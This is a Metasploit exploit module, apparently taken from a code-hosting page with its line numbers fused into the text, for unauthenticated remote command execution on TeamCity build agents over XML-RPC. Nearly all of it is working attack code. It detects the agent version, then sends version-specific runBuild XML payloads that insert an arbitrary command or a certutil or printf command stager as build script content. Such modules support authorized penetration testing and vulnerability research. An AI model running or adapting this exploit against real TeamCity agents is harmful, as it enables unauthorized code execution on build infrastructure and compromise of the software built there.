Path: blob/master/modules/exploits/multi/misc/teamcity_agent_xmlrpc_exec.rb
32007 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'TeamCity Agent XML-RPC Command Execution',16'Description' => %q{17This module allows remote code execution on TeamCity Agents configured18to use bidirectional communication via xml-rpc. In bidirectional mode19the TeamCity server pushes build commands to the Build Agents over port20TCP/9090 without requiring authentication. Up until version 10 this was21the default configuration. This module supports TeamCity agents from22version 6.0 onwards.23},24'Author' => ['Dylan Pindur <[email protected]>'],25'License' => MSF_LICENSE,26'References' => [27['URL', 'https://www.tenable.com/plugins/nessus/94675']28],29'Targets' => [30['Windows', { 'Platform' => 'win' }],31['Linux', { 'Platform' => 'linux' }]32],33'DefaultTarget' => 0,34'DisclosureDate' => '2015-04-14',35'Notes' => {36'Reliability' => UNKNOWN_RELIABILITY,37'Stability' => UNKNOWN_STABILITY,38'SideEffects' => UNKNOWN_SIDE_EFFECTS39}40)41)4243deregister_options('SRVHOST', 'SRVPORT', 'URIPATH', 'VHOST')44register_options(45[46Opt::RPORT(9090),47OptString.new(48'CMD',49[false, 'Execute this command instead of using command stager', '']50)51]52)53end5455def check56version = determine_version57if !version.nil? && version >= 1577258Exploit::CheckCode::Appears59else60Exploit::CheckCode::Safe61end62end6364def exploit65version = determine_version66if version.nil?67fail_with(Failure::NoTarget, 'Could not determine TeamCity Agent version')68else69print_status("Found TeamCity Agent running build version #{version}")70end7172unless datastore['CMD'].blank?73print_status('Executing user supplied command')74execute_command(datastore['CMD'], version)75return76end7778case target['Platform']79when 'linux'80linux_stager(version)81when 'win'82windows_stager(version)83else84fail_with(Failure::NoTarget, 'Unsupported target platform!')85end86end8788def windows_stager(version)89print_status('Constructing Windows payload')9091stager = generate_cmdstager(92flavor: :certutil,93temp: '.',94concat_operator: "\n",95nodelete: true96).join("\n")97stager = stager.gsub(/^(?<exe>.{5}\.exe)/, 'start "" \k<exe>')9899xml_payload = build_request(stager, version)100if xml_payload.nil?101fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")102end103104print_status("Found compatible build config for TeamCity build #{version}")105send_request(xml_payload)106end107108def linux_stager(version)109print_status('Constructing Linux payload')110111stager = generate_cmdstager(112flavor: :printf,113temp: '.',114concat_operator: "\n",115nodelete: true116).join("\n")117stager << ' &'118119xml_payload = build_request(stager, version)120if xml_payload.nil?121fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")122end123124print_status("Found compatible build config for TeamCity build #{version}")125send_request(xml_payload)126end127128def execute_command(cmd, version)129xml_payload = build_request(cmd, version)130131if xml_payload.nil?132fail_with(Failure::NoTarget, "No compatible build config for TeamCity build #{version}")133end134135print_status("Found compatible build config for TeamCity build #{version}")136send_request(xml_payload)137end138139def determine_version140xml_payload = %(141<?xml version="1.0" encoding="UTF-8"?>142<methodCall>143<methodName>buildAgent.getVersion</methodName>144<params></params>145</methodCall>146)147res = send_request_cgi(148{149'uri' => '/',150'method' => 'POST',151'ctype' => 'text/xml',152'data' => xml_payload.strip!153},15410155)156157if !res.nil? && res.code == 200158xml_doc = res.get_xml_document159if xml_doc.errors.empty?160val = xml_doc.xpath('/methodResponse/params/param/value')161if val.length == 1162return val.text.to_i163end164end165end166return nil167end168169def send_request(xml_payload)170res = send_request_cgi(171{172'uri' => '/',173'method' => 'POST',174'ctype' => 'text/xml',175'data' => xml_payload176},17710178)179180if !res.nil? && res.code == 200181print_status('Successfully sent build configuration')182else183print_status('Failed to send build configuration')184end185end186187def build_request(script_content, version)188case version189when 0..15771190return nil191when 15772..17794192return req_teamcity_6(script_content)193when 17795..21240194return req_teamcity_6_5(script_content)195when 21241..27401196return req_teamcity_7(script_content)197when 27402..32059198return req_teamcity_8(script_content)199when 32060..42001200return req_teamcity_9(script_content)201when 42002..46532202return req_teamcity_10(script_content)203else204return req_teamcity_2017(script_content)205end206end207208def req_teamcity_2017(script_content)209build_code = Rex::Text.rand_text_alpha(8)210build_id = Rex::Text.rand_text_numeric(8)211xml_payload = %(212<?xml version="1.0" encoding="UTF-8"?>213<methodCall>214<methodName>buildAgent.runBuild</methodName>215<params>216<param>217<value>218<![CDATA[219<AgentBuild>220<myBuildId>#{build_id}</myBuildId>221<myBuildTypeId>x</myBuildTypeId>222<myBuildTypeExternalId>x</myBuildTypeExternalId>223<myCheckoutType>ON_AGENT</myCheckoutType>224<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>225<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>226<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>227<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>228<myServerParameters class="StringTreeMap">229<k>system.build.number</k>230<v>0</v>231</myServerParameters>232<myAccessCode/>233<myArtifactDependencies/>234<myArtifactPaths/>235<myArtifactStorageSettings/>236<myBuildFeatures/>237<myBuildTypeOptions/>238<myFullCheckoutReasons/>239<myParametersSpecs class="StringTreeMap"/>240<myPersonalVcsChanges/>241<myUserBuildParameters/>242<myVcsChanges/>243<myVcsRootCurrentRevisions class="tree-map"/>244<myVcsRootEntries/>245<myVcsRootOldRevisions class="tree-map"/>246<myBuildRunners>247<jetbrains.buildServer.agentServer.BuildRunnerData>248<myId>x</myId>249<myIsDisabled>false</myIsDisabled>250<myRunType>simpleRunner</myRunType>251<myRunnerName>x</myRunnerName>252<myChildren class="list"/>253<myServerParameters class="tree-map">254<entry>255<string>teamcity.build.step.name</string>256<string>x</string>257</entry>258</myServerParameters>259<myRunnerParameters class="tree-map">260<entry>261<string>script.content</string>262<string>#{script_content}</string>263</entry>264<entry>265<string>teamcity.step.mode</string>266<string>default</string>267</entry>268<entry>269<string>use.custom.script</string>270<string>true</string>271</entry>272</myRunnerParameters>273</jetbrains.buildServer.agentServer.BuildRunnerData>274</myBuildRunners>275</AgentBuild>276]]>277</value>278</param>279</params>280</methodCall>281)282return xml_payload.strip!283end284285def req_teamcity_10(script_content)286build_code = Rex::Text.rand_text_alpha(8)287build_id = Rex::Text.rand_text_numeric(8)288xml_payload = %(289<?xml version="1.0" encoding="UTF-8"?>290<methodCall>291<methodName>buildAgent.runBuild</methodName>292<params>293<param>294<value>295<![CDATA[296<AgentBuild>297<myBuildId>#{build_id}</myBuildId>298<myBuildTypeId>x</myBuildTypeId>299<myBuildTypeExternalId>x</myBuildTypeExternalId>300<myCheckoutType>ON_AGENT</myCheckoutType>301<myVcsSettingsHashForServerCheckout>x</myVcsSettingsHashForServerCheckout>302<myVcsSettingsHashForAgentCheckout>#{build_code}</myVcsSettingsHashForAgentCheckout>303<myVcsSettingsHashForManualCheckout>x</myVcsSettingsHashForManualCheckout>304<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>305<myServerParameters class="StringTreeMap">306<k>system.build.number</k>307<v>0</v>308</myServerParameters>309<myAccessCode/>310<myArtifactDependencies/>311<myArtifactPaths/>312<myBuildFeatures/>313<myBuildTypeOptions/>314<myFullCheckoutReasons/>315<myParametersSpecs class="StringTreeMap"/>316<myPersonalVcsChanges/>317<myUserBuildParameters/>318<myVcsChanges/>319<myVcsRootCurrentRevisions class="tree-map"/>320<myVcsRootEntries/>321<myVcsRootOldRevisions class="tree-map"/>322<myBuildRunners>323<jetbrains.buildServer.agentServer.BuildRunnerData>324<myId>x</myId>325<myIsDisabled>false</myIsDisabled>326<myRunType>simpleRunner</myRunType>327<myRunnerName>x</myRunnerName>328<myChildren class="list"/>329<myServerParameters class="tree-map">330<entry>331<string>teamcity.build.step.name</string>332<string>x</string>333</entry>334</myServerParameters>335<myRunnerParameters class="tree-map">336<entry>337<string>script.content</string>338<string>#{script_content}</string>339</entry>340<entry>341<string>teamcity.step.mode</string>342<string>default</string>343</entry>344<entry>345<string>use.custom.script</string>346<string>true</string>347</entry>348</myRunnerParameters>349</jetbrains.buildServer.agentServer.BuildRunnerData>350</myBuildRunners>351</AgentBuild>352]]>353</value>354</param>355</params>356</methodCall>357)358return xml_payload.strip!359end360361def req_teamcity_9(script_content)362build_id = Rex::Text.rand_text_numeric(8)363xml_payload = %(364<?xml version="1.0" encoding="UTF-8"?>365<methodCall>366<methodName>buildAgent.runBuild</methodName>367<params>368<param>369<value>370<![CDATA[371<AgentBuild>372<myBuildId>#{build_id}</myBuildId>373<myBuildTypeId>x</myBuildTypeId>374<myBuildTypeExternalId>x</myBuildTypeExternalId>375<myCheckoutType>ON_AGENT</myCheckoutType>376<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>377<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>378<myServerParameters class="StringTreeMap">379<k>system.build.number</k>380<v>0</v>381</myServerParameters>382<myAccessCode/>383<myArtifactDependencies/>384<myArtifactPaths/>385<myBuildFeatures/>386<myBuildTypeOptions/>387<myFullCheckoutReasons/>388<myPersonalVcsChanges/>389<myUserBuildParameters/>390<myVcsChanges/>391<myVcsRootCurrentRevisions class="tree-map"/>392<myVcsRootEntries/>393<myVcsRootOldRevisions class="tree-map"/>394<myBuildRunners>395<jetbrains.buildServer.agentServer.BuildRunnerData>396<myId>x</myId>397<myIsDisabled>false</myIsDisabled>398<myRunType>simpleRunner</myRunType>399<myRunnerName>x</myRunnerName>400<myChildren class="list"/>401<myServerParameters class="tree-map">402<entry>403<string>teamcity.build.step.name</string>404<string>x</string>405</entry>406</myServerParameters>407<myRunnerParameters class="tree-map">408<entry>409<string>script.content</string>410<string>#{script_content}</string>411</entry>412<entry>413<string>teamcity.step.mode</string>414<string>default</string>415</entry>416<entry>417<string>use.custom.script</string>418<string>true</string>419</entry>420</myRunnerParameters>421</jetbrains.buildServer.agentServer.BuildRunnerData>422</myBuildRunners>423</AgentBuild>424]]>425</value>426</param>427</params>428</methodCall>429)430return xml_payload.strip!431end432433def req_teamcity_8(script_content)434build_id = Rex::Text.rand_text_numeric(8)435xml_payload = %(436<?xml version="1.0" encoding="UTF-8"?>437<methodCall>438<methodName>buildAgent.runBuild</methodName>439<params>440<param>441<value>442<![CDATA[443<AgentBuild>444<myBuildId>#{build_id}</myBuildId>445<myBuildTypeId>x</myBuildTypeId>446<myCheckoutType>ON_AGENT</myCheckoutType>447<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>448<myServerParameters class="tree-map">449<entry>450<string>system.build.number</string>451<string>0</string>452</entry>453</myServerParameters>454<myAccessCode/>455<myArtifactDependencies/>456<myArtifactPaths/>457<myBuildTypeOptions/>458<myFullCheckoutReasons/>459<myPersonalVcsChanges/>460<myUserBuildParameters/>461<myVcsChanges/>462<myVcsRootCurrentRevisions class="tree-map"/>463<myVcsRootEntries/>464<myVcsRootOldRevisions class="tree-map"/>465<myBuildRunners>466<jetbrains.buildServer.agentServer.BuildRunnerData>467<myId>x</myId>468<myIsDisabled>false</myIsDisabled>469<myRunType>simpleRunner</myRunType>470<myRunnerName>x</myRunnerName>471<myChildren class="list"/>472<myServerParameters class="tree-map">473<entry>474<string>teamcity.build.step.name</string>475<string>x</string>476</entry>477</myServerParameters>478<myRunnerParameters class="tree-map">479<entry>480<string>script.content</string>481<string>#{script_content}</string>482</entry>483<entry>484<string>teamcity.step.mode</string>485<string>default</string>486</entry>487<entry>488<string>use.custom.script</string>489<string>true</string>490</entry>491</myRunnerParameters>492</jetbrains.buildServer.agentServer.BuildRunnerData>493</myBuildRunners>494<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>495<myBuildFeatures/>496</AgentBuild>497]]>498</value>499</param>500</params>501</methodCall>502)503return xml_payload.strip!504end505506def req_teamcity_7(script_content)507build_id = Rex::Text.rand_text_numeric(8)508xml_payload = %(509<?xml version="1.0" encoding="UTF-8"?>510<methodCall>511<methodName>buildAgent.runBuild</methodName>512<params>513<param>514<value>515<![CDATA[516<AgentBuild>517<myBuildId>#{build_id}</myBuildId>518<myBuildTypeId>x</myBuildTypeId>519<myCheckoutType>ON_AGENT</myCheckoutType>520<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>521<myServerParameters class="tree-map">522<no-comparator/>523<entry>524<string>system.build.number</string>525<string>0</string>526</entry>527</myServerParameters>528<myVcsRootOldRevisions class="tree-map">529<no-comparator/>530</myVcsRootOldRevisions>531<myVcsRootCurrentRevisions class="tree-map">532<no-comparator/>533</myVcsRootCurrentRevisions>534<myAccessCode/>535<myArtifactDependencies/>536<myArtifactPaths/>537<myBuildTypeOptions/>538<myFullCheckoutReasons/>539<myPersonalVcsChanges/>540<myUserBuildParameters/>541<myVcsChanges/>542<myVcsRootEntries/>543<myBuildRunners>544<jetbrains.buildServer.agentServer.BuildRunnerData>545<myRunType>simpleRunner</myRunType>546<myRunnerName>x</myRunnerName>547<myRunnerParameters class="tree-map">548<no-comparator/>549<entry>550<string>script.content</string>551<string>#{script_content}</string>552</entry>553<entry>554<string>teamcity.step.mode</string>555<string>default</string>556</entry>557<entry>558<string>use.custom.script</string>559<string>true</string>560</entry>561</myRunnerParameters>562<myServerParameters class="tree-map">563<no-comparator/>564<entry>565<string>teamcity.build.step.name</string>566<string>x</string>567</entry>568</myServerParameters>569</jetbrains.buildServer.agentServer.BuildRunnerData>570</myBuildRunners>571<myDefaultExecutionTimeout>3</myDefaultExecutionTimeout>572<myBuildFeatures/>573</AgentBuild>574]]>575</value>576</param>577</params>578</methodCall>579)580return xml_payload.strip!581end582583def req_teamcity_6_5(script_content)584build_id = Rex::Text.rand_text_numeric(8)585xml_payload = %(586<?xml version="1.0" encoding="UTF-8"?>587<methodCall>588<methodName>buildAgent.run</methodName>589<params>590<param>591<value>592<![CDATA[593<AgentBuild>594<myBuildId>#{build_id}</myBuildId>595<myBuildTypeId>x</myBuildTypeId>596<myPersonal>false</myPersonal>597<myCheckoutType>ON_AGENT</myCheckoutType>598<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>599<myServerParameters class="tree-map">600<no-comparator/>601<entry>602<string>system.build.number</string>603<string>0</string>604</entry>605</myServerParameters>606<myVcsRootOldRevisions class="tree-map">607<no-comparator/>608</myVcsRootOldRevisions>609<myVcsRootCurrentRevisions class="tree-map">610<no-comparator/>611</myVcsRootCurrentRevisions>612<myAccessCode/>613<myArtifactDependencies/>614<myBuildTypeOptions/>615<myPersonalVcsChanges/>616<myUserBuildParameters/>617<myVcsChanges/>618<myVcsRootEntries/>619<myBuildRunners>620<jetbrains.buildServer.agentServer.BuildRunnerData>621<myRunType>simpleRunner</myRunType>622<myRunnerName>x</myRunnerName>623<myRunnerParameters class="tree-map">624<no-comparator/>625<entry>626<string>script.content</string>627<string>#{script_content}</string>628</entry>629<entry>630<string>use.custom.script</string>631<string>true</string>632</entry>633</myRunnerParameters>634<myServerParameters class="tree-map">635<no-comparator/>636</myServerParameters>637</jetbrains.buildServer.agentServer.BuildRunnerData>638</myBuildRunners>639</AgentBuild>640]]>641</value>642</param>643</params>644</methodCall>645)646return xml_payload.strip!647end648649def req_teamcity_6(script_content)650build_id = Rex::Text.rand_text_numeric(8)651xml_payload = %(652<?xml version="1.0" encoding="UTF-8"?>653<methodCall>654<methodName>buildAgent.run</methodName>655<params>656<param>657<value>658<![CDATA[659<AgentBuild>660<myBuildId>#{build_id}</myBuildId>661<myBuildTypeId>x</myBuildTypeId>662<myAccessCode></myAccessCode>663<myPersonal>false</myPersonal>664<myCheckoutType>ON_AGENT</myCheckoutType>665<myDefaultCheckoutDirectory>x</myDefaultCheckoutDirectory>666<myServerParameters class="tree-map">667<no-comparator/>668<entry>669<string>system.build.number</string>670<string>0</string>671</entry>672</myServerParameters>673<myVcsRootOldRevisions class="tree-map">674<no-comparator/>675</myVcsRootOldRevisions>676<myVcsRootCurrentRevisions class="tree-map">677<no-comparator/>678</myVcsRootCurrentRevisions>679<myArtifactDependencies/>680<myBuildTypeOptions/>681<myPersonalVcsChanges/>682<myUserBuildParameters/>683<myVcsChanges/>684<myVcsRootEntries/>685<myBuildRunners>686<jetbrains.buildServer.agentServer.BuildRunnerData>687<myRunType>simpleRunner</myRunType>688<myServerParameters class="tree-map">689<no-comparator/>690</myServerParameters>691<myRunnerParameters class="tree-map">692<no-comparator/>693<entry>694<string>script.content</string>695<string>#{script_content}</string>696</entry>697<entry>698<string>use.custom.script</string>699<string>true</string>700</entry>701</myRunnerParameters>702</jetbrains.buildServer.agentServer.BuildRunnerData>703</myBuildRunners>704</AgentBuild>705]]>706</value>707</param>708</params>709</methodCall>710)711return xml_payload.strip!712end713end714715716